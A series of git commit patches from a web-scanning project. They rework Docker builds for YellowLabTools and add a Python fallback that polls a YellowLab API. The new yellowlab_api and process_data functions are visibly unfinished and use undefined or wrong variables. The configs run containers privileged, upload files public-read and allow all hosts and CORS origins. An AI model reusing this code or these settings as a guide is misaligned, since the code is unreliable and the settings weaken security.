   && git checkout e9ab1fd \
   && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
   && NODE_ENV=development && npm install --only=prod 

From ea3715f9e6c4e348892c3283f660d0a0b1aec9a4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:40:06 -0700
Subject: [PATCH 0203/1099] forcing npm install

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 9d351e76..0137b28b 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -49,7 +49,7 @@ RUN apt-get update \
   && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
   && git checkout e9ab1fd \
   && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
-  && NODE_ENV=development && npm install --only=prod 
+  && NODE_ENV=development && npm install --only=prod --force
 
 # installing lighthouse & yellowlabtools --> yellowlabtools@2.2.0
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash 

From 62f7f2cc808b02b366ff4321d74080a12265fe0a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:41:40 -0700
Subject: [PATCH 0204/1099] force again

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 0137b28b..48f8eafd 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -48,7 +48,7 @@ WORKDIR /usr/src/ylt
 RUN apt-get update \
   && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
   && git checkout e9ab1fd \
-  && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
+  && npm install jpegoptim-bin --unsafe-perm=true --allow-root --force \
   && NODE_ENV=development && npm install --only=prod --force
 
 # installing lighthouse & yellowlabtools --> yellowlabtools@2.2.0

From c524d31b1ac14d4d778cd0cbe4cdd3954a87170e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 10:59:38 -0700
Subject: [PATCH 0205/1099] testing workdir

---
 Dockerfile | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 48f8eafd..8710a31d 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -6,6 +6,9 @@ ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 ENV YL_VERSION=develop
 
+# temp set working dir
+WORKDIR /usr/src/ylt
+
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
@@ -41,9 +44,6 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# temp set working dir
-WORKDIR /usr/src/ylt
-
 # install yellowlab
 RUN apt-get update \
   && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \

From 28df7b74cfbc69a404b2d70c1120ce4ae2aca8dd Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 11:24:46 -0700
Subject: [PATCH 0206/1099] testing new yl install

---
 Dockerfile | 29 +++++++++++++++--------------
 1 file changed, 15 insertions(+), 14 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 8710a31d..f4750d20 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -4,10 +4,10 @@ ENV PYTHONUNBUFFERED 1
 # increasing allocated memory to node
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
-ENV YL_VERSION=develop
+# ENV YL_VERSION=develop
 
 # temp set working dir
-WORKDIR /usr/src/ylt
+# WORKDIR /usr/src/ylt
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
@@ -28,8 +28,8 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig 
 
 # installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 git \ 
-    libatk-bridge2.0-0 gconf-service libasound2 \ 
+RUN apt-get update && apt-get install -y libfreetype6 git  \ 
+    libatk-bridge2.0-0 gconf-service libasound2 make \ 
     libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
     libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
     libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
@@ -37,22 +37,23 @@ RUN apt-get update && apt-get install -y libfreetype6 git \
     libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
     libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
 
-# installing node and npm
+# installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n && n lts
+    && npm install -g n \
+    && n 14.17.3
 
 # cleaning npm
 RUN npm cache clean --force
 
-# install yellowlab
-RUN apt-get update \
-  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
-  && git checkout e9ab1fd \
-  && npm install jpegoptim-bin --unsafe-perm=true --allow-root --force \
-  && NODE_ENV=development && npm install --only=prod --force
+# # install yellowlab
+# RUN apt-get update \
+#   && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
+#   && git checkout e9ab1fd \
+#   && npm install jpegoptim-bin --unsafe-perm=true --allow-root --force \
+#   && NODE_ENV=development && npm install --only=prod --force
 
-# installing lighthouse & yellowlabtools --> yellowlabtools@2.2.0
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash 
+# installing lighthouse & yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version

From 59e8ea47e2138a76531002c6328a61d2ff2dfe07 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 11:30:15 -0700
Subject: [PATCH 0207/1099] testing install

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index f4750d20..1659b1ef 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -40,7 +40,7 @@ RUN apt-get update && apt-get install -y libfreetype6 git  \
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \
-    && n 14.17.3
+    && n lts
 
 # cleaning npm
 RUN npm cache clean --force

From 4a5ff7e4bceba1fdbc2cada9eb26784ca447c03b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 11:50:09 -0700
Subject: [PATCH 0208/1099] testing dockertized yl in seperate container

---
 docker-compose.dev.yml | 17 ++++++++++++++-
 yl/Dockerfile          | 49 ++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 65 insertions(+), 1 deletion(-)
 create mode 100644 yl/Dockerfile

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index f6f120a9..c71edda5 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -61,6 +61,20 @@ services:
       - db
 
 
+  yellowlab:
+    build:
+      context: .
+      dockerfile: ./yl/Dockerfile
+    container_name: yellowlab
+    privileged: true
+    init: true
+    env_file:
+      - ./env/.env.dev
+    volumes: 
+      - yellowlab:/var/lib/yellowlab/data
+    expose:
+      - 8383
+
   nginx-proxy:
     container_name: nginx-proxy
     build: nginx
@@ -98,4 +112,5 @@ volumes:
   certs:
   html:
   vhost:
-  pgdata:
\ No newline at end of file
+  pgdata:
+  yellowlab:
\ No newline at end of file
diff --git a/yl/Dockerfile b/yl/Dockerfile
new file mode 100644
index 00000000..4298cf0f
--- /dev/null
+++ b/yl/Dockerfile
@@ -0,0 +1,49 @@
+FROM    node:14-alpine
+
+# last commit=v1.12.0
+ENV     VERSION=develop
+ENV     CHROMIUM_VERSION 86.0.4240.111-r0
+
+# Add the volume for results
+VOLUME /usr/src/ylt/results
+
+WORKDIR /usr/src/ylt
+
+RUN     apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
+  && git clone https://github.com/gmetais/YellowLabTools.git -b ${VERSION} . \
+  && git checkout e9ab1fd \
+  && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
+  && NODE_ENV=development && npm install --only=prod \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/v3.12/main" >> /etc/apk/repositories \
+  && apk upgrade -U -a \
+  && apk add \
+    libjpeg-turbo-dev \
+    chromium \
+    ca-certificates \
+    freetype \
+    freetype-dev \
+    harfbuzz \
+    nss \
+    ttf-freefont \
+  && which chromium-browser && chromium-browser --no-sandbox --version &&  chown -R nobody:nogroup . \
+  && rm -rf test doc
+
+
+# Tell Puppeteer to skip installing Chrome. We'll be using the installed binary
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
+
+# Run everything after as non-privileged user.
+USER nobody
+
+# Tell phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser
+ENV DOCKERIZED yes
+
+#ENV DEBUG *
+
+EXPOSE  8383
+
+CMD     ["node", "bin/server.js"]
\ No newline at end of file

From 989fd81cd5a4e1e522aab8f76c06ba8772cef16f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 12:16:56 -0700
Subject: [PATCH 0209/1099] using image from dockerhub

---
 docker-compose.dev.yml | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index c71edda5..a8730239 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -61,10 +61,12 @@ services:
       - db
 
 
+
   yellowlab:
-    build:
-      context: .
-      dockerfile: ./yl/Dockerfile
+    image: ousamabenyounes/yellowlabtools 
+    # build:
+    #   context: .
+    #   dockerfile: ./yl/Dockerfile
     container_name: yellowlab
     privileged: true
     init: true
@@ -75,6 +77,7 @@ services:
     expose:
       - 8383
 
+
   nginx-proxy:
     container_name: nginx-proxy
     build: nginx

From 5517364b4e423efa9a195c83fec166ecac63eeb0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 13:27:16 -0700
Subject: [PATCH 0210/1099] yellowlab not working

---
 Dockerfile                      | 16 ++---------
 app/api/utils/yellowlab.py      |  2 +-
 docker-compose.dev.yml          | 19 +------------
 k8s/prod/celery-deployment.yaml |  2 +-
 yl/Dockerfile                   | 49 ---------------------------------
 5 files changed, 6 insertions(+), 82 deletions(-)
 delete mode 100644 yl/Dockerfile

diff --git a/Dockerfile b/Dockerfile
index 1659b1ef..480b4fcc 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -2,12 +2,9 @@ FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
 # increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=262000
-ENV NODE_OPTIONS="--max-old-space-size=262000"
-# ENV YL_VERSION=develop
-
-# temp set working dir
-# WORKDIR /usr/src/ylt
+ENV NODE_OPTIONS=--max_old_space_size=2000
+ENV NODE_OPTIONS="--max-old-space-size=2000"
+ENV GENERATE_SOURCEMAP=false
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
@@ -45,13 +42,6 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# # install yellowlab
-# RUN apt-get update \
-#   && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
-#   && git checkout e9ab1fd \
-#   && npm install jpegoptim-bin --unsafe-perm=true --allow-root --force \
-#   && NODE_ENV=development && npm install --only=prod --force
-
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 864436a4..8edd7bfe 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -132,7 +132,7 @@ def get_data(self):
                 raise RuntimeError
 
         except Exception as e:
-            print(e)
+            print(f'YELLOWLAB FAILED --> {e}')
 
             scores = {
                 "globalScore": None,
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index a8730239..5752627a 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -59,24 +59,7 @@ services:
       - redis
       - app
       - db
-
-
-
-  yellowlab:
-    image: ousamabenyounes/yellowlabtools 
-    # build:
-    #   context: .
-    #   dockerfile: ./yl/Dockerfile
-    container_name: yellowlab
-    privileged: true
-    init: true
-    env_file:
-      - ./env/.env.dev
-    volumes: 
-      - yellowlab:/var/lib/yellowlab/data
-    expose:
-      - 8383
-
+      
 
   nginx-proxy:
     container_name: nginx-proxy
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index eb23e482..ba431c66 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # landonr/scanerr-server:f7ed070 #
+          image:  <IMAGE> # landonr/scanerr-server:a5f30cb # 
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
           envFrom:
diff --git a/yl/Dockerfile b/yl/Dockerfile
deleted file mode 100644
index 4298cf0f..00000000
--- a/yl/Dockerfile
+++ /dev/null
@@ -1,49 +0,0 @@
-FROM    node:14-alpine
-
-# last commit=v1.12.0
-ENV     VERSION=develop
-ENV     CHROMIUM_VERSION 86.0.4240.111-r0
-
-# Add the volume for results
-VOLUME /usr/src/ylt/results
-
-WORKDIR /usr/src/ylt
-
-RUN     apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
-  && git clone https://github.com/gmetais/YellowLabTools.git -b ${VERSION} . \
-  && git checkout e9ab1fd \
-  && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
-  && NODE_ENV=development && npm install --only=prod \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/v3.12/main" >> /etc/apk/repositories \
-  && apk upgrade -U -a \
-  && apk add \
-    libjpeg-turbo-dev \
-    chromium \
-    ca-certificates \
-    freetype \
-    freetype-dev \
-    harfbuzz \
-    nss \
-    ttf-freefont \
-  && which chromium-browser && chromium-browser --no-sandbox --version &&  chown -R nobody:nogroup . \
-  && rm -rf test doc
-
-
-# Tell Puppeteer to skip installing Chrome. We'll be using the installed binary
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
-
-# Run everything after as non-privileged user.
-USER nobody
-
-# Tell phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser
-ENV DOCKERIZED yes
-
-#ENV DEBUG *
-
-EXPOSE  8383
-
-CMD     ["node", "bin/server.js"]
\ No newline at end of file

From ec9469a9ff07ce5ef5f5bb17c254323fb2e7940a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 14:41:37 -0700
Subject: [PATCH 0211/1099] adding new Yellowlab API backup method

---
 app/api/tests.py           |   3 -
 app/api/utils/yellowlab.py | 294 ++++++++++++++++++++++++-------------
 app/scanerr/settings.py    |   1 +
 env/.env.dev.example       |   9 +-
 env/.env.local.example     |   1 +
 env/.env.prod.example      |   9 +-
 notes/Deployment.md        |   7 +
 7 files changed, 212 insertions(+), 112 deletions(-)

diff --git a/app/api/tests.py b/app/api/tests.py
index 7ce503c2..e69de29b 100644
--- a/app/api/tests.py
+++ b/app/api/tests.py
@@ -1,3 +0,0 @@
-from django.test import TestCase
-
-# Create your tests here.
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 8edd7bfe..20800500 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,4 +1,4 @@
-import subprocess, json, uuid, boto3, shutil, os
+import subprocess, json, uuid, boto3, shutil, os, requests
 from ..models import Site, Scan
 from scanerr import settings
 
@@ -29,6 +29,162 @@ def init_audit(self):
         return stdout_value
 
 
+    def yellowlab_api(self) -> dict:
+        """ 
+        Serves as the backup method for collecting YL metrics.
+        Sends API requests to http://yellowlab.scanerr.io:8383.
+
+        Returns --> raw YL data
+        """
+
+        # defaults
+        headers = {
+            "content-type": "application/json",
+        }
+        data = {
+            "url": self.page.page_url,
+            "waitForResponse": false,
+            "device": self.configs["device"]
+        }
+
+        # setting up initial request
+        _res = requests.post(
+            url=f'{settings.YELLOWLAB_ROOT}/api/runs',
+            data=json.dumps(data),
+            headers=headers
+        )
+
+        # retrieve response
+        run_id = res['runId']
+        
+        wait_time = 0
+        max_wait = 1200
+        done = False
+        while not done and wait_time < max_wait:
+
+            res = requests.get(
+                url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
+                headers=headers
+            ).json()
+
+            status = res['status']['statusCode']
+            position = res['status'].get('position')
+            if status == 'awaiting':
+                max_wait = (120 * position)
+            if status == 'complete':
+                done = True
+            if status == 'failed':
+                print('YELLOWLAB API FAILED')
+                raise RuntimeError
+                break
+
+            # incrementing time
+            time.sleep(5)
+            wait_time += 5
+
+
+        # getting run results
+        res = requests.get(
+            url=f'{settings.YELLOWLAB_ROOT}/api/results/{run_id}',
+            headers=headers
+        ).json()
+    
+        return data
+
+
+
+    
+    def process_data(self, data: dict) -> dict:
+        """ 
+        Accepts JSON data from either CLI or API method 
+        and parses into usable Scanerr data.
+
+        Expects the following:
+            data: <dict> or json from output
+            
+        Returns --> formatted YL data <dict> 
+        """
+
+        # initial audits object
+        audits = {
+            "pageWeight": [], 
+            "requests": [], 
+            "domComplexity": [], 
+            "javascriptComplexity": [],
+            "badJavascript": [],
+            "jQuery": [],
+            "cssComplexity": [],
+            "badCSS": [],
+            "fonts": [],
+            "serverConfig": [],
+        }
+
+        # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
+        for cat in audits:
+            cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
+            for a in cat_audits:
+                try:
+                    audit = stdout_json["rules"][a]
+                    audits[cat].append(audit)
+                except:
+                    pass
+
+        # get scores from each category
+        globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+        pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
+        requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
+        domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
+        javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
+        badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
+        jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
+        cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
+        badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
+        fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
+        serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
+        
+        scores = {
+            "globalScore": globalScore,
+            "pageWeight": pageWeight_score, 
+            "requests": requests_score, 
+            "domComplexity": domComplexity_score, 
+            "javascriptComplexity": javascriptComplexity_score,
+            "badJavascript": badJavascript_score,
+            "jQuery": jQuery_score,
+            "cssComplexity": cssComplexity_score,
+            "badCSS": badCSS_score,
+            "fonts": fonts_score,
+            "serverConfig": serverConfig_score,
+        }
+
+        # save audits data as json file
+        file_id = uuid.uuid4()
+        with open(f'{file_id}.json', 'w') as fp:
+            json.dump(audits, fp)
+        
+        # upload to s3 and return url
+        audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+        remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
+        root_path = settings.AWS_S3_URL_PATH
+        audits_url = f'{root_path}/{remote_path}'
+    
+        # upload to s3
+        with open(audit_file, 'rb') as data:
+            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+            )
+        # remove local copy
+        os.remove(audit_file)
+
+        data = {
+            "scores": scores, 
+            "audits": audits_url,
+            "failed": False
+        }
+
+        # returning data 
+        return data
+
+
     def get_data(self):
 
         # setup boto3 configurations
@@ -39,6 +195,7 @@ def get_data(self):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
         
+        # try CLI method first
         try:
             stdout_value = self.init_audit() 
             # decode bytes into string
@@ -49,9 +206,40 @@ def get_data(self):
                     error = {'error': 'yellowlab ran into a problem',}
                     return error
 
+                # convert to dict
                 stdout_json = json.loads(stdout_value)
+                data = self.process_data(data=stdout_json)
+                return data
+                
+            else:
+                raise RuntimeError
+        
+        # try API method if CLI fails
+        except Exception as e:
+            print(f'YELLOWLAB CLI FAILED, Trying API...')
+
+            try:
+                raw_data = self.yellowlab_api()
+                data = self.process_data(data=raw_data)
+                return data
+
+            except Exception as e:
+                print(f'YELLOWLAB API FAILED --> {e}')
+
+                scores = {
+                    "globalScore": None,
+                    "pageWeight": None, 
+                    "requests": None, 
+                    "domComplexity": None, 
+                    "javascriptComplexity": None,
+                    "badJavascript": None,
+                    "jQuery": None,
+                    "cssComplexity": None,
+                    "badCSS": None,
+                    "fonts": None,
+                    "serverConfig": None,
+                }
 
-                # initial audits object
                 audits = {
                     "pageWeight": [], 
                     "requests": [], 
@@ -65,108 +253,12 @@ def get_data(self):
                     "serverConfig": [],
                 }
 
-                # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
-                for cat in audits:
-                    cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
-                    for a in cat_audits:
-                        try:
-                            audit = stdout_json["rules"][a]
-                            audits[cat].append(audit)
-                        except:
-                            pass
-
-
-                # get scores from each category
-                globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
-                pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
-                requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
-                domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
-                javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
-                badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
-                jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
-                cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
-                badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
-                fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
-                serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
-                
-                scores = {
-                    "globalScore": globalScore,
-                    "pageWeight": pageWeight_score, 
-                    "requests": requests_score, 
-                    "domComplexity": domComplexity_score, 
-                    "javascriptComplexity": javascriptComplexity_score,
-                    "badJavascript": badJavascript_score,
-                    "jQuery": jQuery_score,
-                    "cssComplexity": cssComplexity_score,
-                    "badCSS": badCSS_score,
-                    "fonts": fonts_score,
-                    "serverConfig": serverConfig_score,
-                }
-
-                # save audits data as json file
-                file_id = uuid.uuid4()
-                with open(f'{file_id}.json', 'w') as fp:
-                    json.dump(audits, fp)
-                
-                # upload to s3 and return url
-                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
-                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
-                root_path = settings.AWS_S3_URL_PATH
-                audits_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(audit_file, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-                    )
-                # remove local copy
-                os.remove(audit_file)
-
                 data = {
                     "scores": scores, 
-                    "audits": audits_url,
-                    "failed": False
+                    "audits": audits,
+                    "failed": True
                 }
-
-            else:
-                raise RuntimeError
-
-        except Exception as e:
-            print(f'YELLOWLAB FAILED --> {e}')
-
-            scores = {
-                "globalScore": None,
-                "pageWeight": None, 
-                "requests": None, 
-                "domComplexity": None, 
-                "javascriptComplexity": None,
-                "badJavascript": None,
-                "jQuery": None,
-                "cssComplexity": None,
-                "badCSS": None,
-                "fonts": None,
-                "serverConfig": None,
-            }
-
-            audits = {
-                "pageWeight": [], 
-                "requests": [], 
-                "domComplexity": [], 
-                "javascriptComplexity": [],
-                "badJavascript": [],
-                "jQuery": [],
-                "cssComplexity": [],
-                "badCSS": [],
-                "fonts": [],
-                "serverConfig": [],
-            }
-
-            data = {
-                "scores": scores, 
-                "audits": audits,
-                "failed": True
-            }
             
-        return data
+                return data
         
 
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 980feb85..557b8790 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -27,6 +27,7 @@
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')
 LANDING_URL_ROOT = os.environ.get('LANDING_URL_ROOT')
 API_URL_ROOT = os.environ.get('API_URL_ROOT')
+YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
 CORS_ORIGIN_ALLOW_ALL = True
 DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880
 
diff --git a/env/.env.dev.example b/env/.env.dev.example
index f05120b0..8de7c30d 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -1,9 +1,10 @@
 # django
 SECRET_KEY = ask-for-this-or-generate-yourself
-CLIENT_URL_ROOT = https://app.example.io  # example
-API_URL_ROOT = https://api.example.io     # example
-LETSENCRYPT_HOST = api.example.io         # example
-VIRTUAL_HOST = api.example.io             # example
+CLIENT_URL_ROOT = https://app.example.io            # example
+API_URL_ROOT = https://api.example.io               # example
+YELLOWLAB_ROOT = http://yellowlab.example.io:8383   # example
+LETSENCRYPT_HOST = api.example.io                   # example
+VIRTUAL_HOST = api.example.io                       # example
 VIRTUAL_PORT = 8000
 DJANGO_ALLOWED_HOSTS = *
 
diff --git a/env/.env.local.example b/env/.env.local.example
index 40b50b9c..094c121f 100644
--- a/env/.env.local.example
+++ b/env/.env.local.example
@@ -3,6 +3,7 @@ SECRET_KEY = ask-for-this
 CLIENT_URL_ROOT = http://localhost:3000
 CLIENT_URL_ROOT = http://localhost:3000
 API_URL_ROOT = http://localhost:8000
+YELLOWLAB_ROOT = http://yellowlab.scanerr.io:8383
 DJANGO_ALLOWED_HOSTS = *
 
 
diff --git a/env/.env.prod.example b/env/.env.prod.example
index 96d89f7c..287d1a69 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -1,9 +1,10 @@
 # high level django configs
 SECRET_KEY = ask-for-this-or-generate-yourself
-CLIENT_URL_ROOT = https://app.example.io    # example
-LANDING_URL_ROOT = https://example.io       # example
-API_URL_ROOT = https://api.example.io       # example
-LETSENCRYPT_HOST = api.example.io           # example
+CLIENT_URL_ROOT = https://app.example.io            # example
+LANDING_URL_ROOT = https://example.io               # example
+API_URL_ROOT = https://api.example.io               # example
+YELLOWLAB_ROOT = http://yellowlab.example.io:8383   # example
+LETSENCRYPT_HOST = api.example.io                   # example
 DJANGO_ALLOWED_HOSTS = *
 
 
diff --git a/notes/Deployment.md b/notes/Deployment.md
index 6c160cc2..91d366f2 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -3,6 +3,7 @@
   - [Environment](#environment)
   - [Local](#local)
   - [Remote](#remote)
+  - [Deploy Yellowlabs](#deploy-yellowlabs)
   - [Scripts](#scripts)
 
 
@@ -113,6 +114,12 @@ $ docker-compose -f docker-compose.prod.yml down -v
 ```
 
 
+## Deploy Yellowlabs
+1. Run same server set-up untill the .git portion.
+2. ```docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools```
+
+
+
 &nbsp;
 
 ---

From bc3b15f3febbaef18046efa7afe3d3121b151669 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 14:47:37 -0700
Subject: [PATCH 0212/1099] fixed post data

---
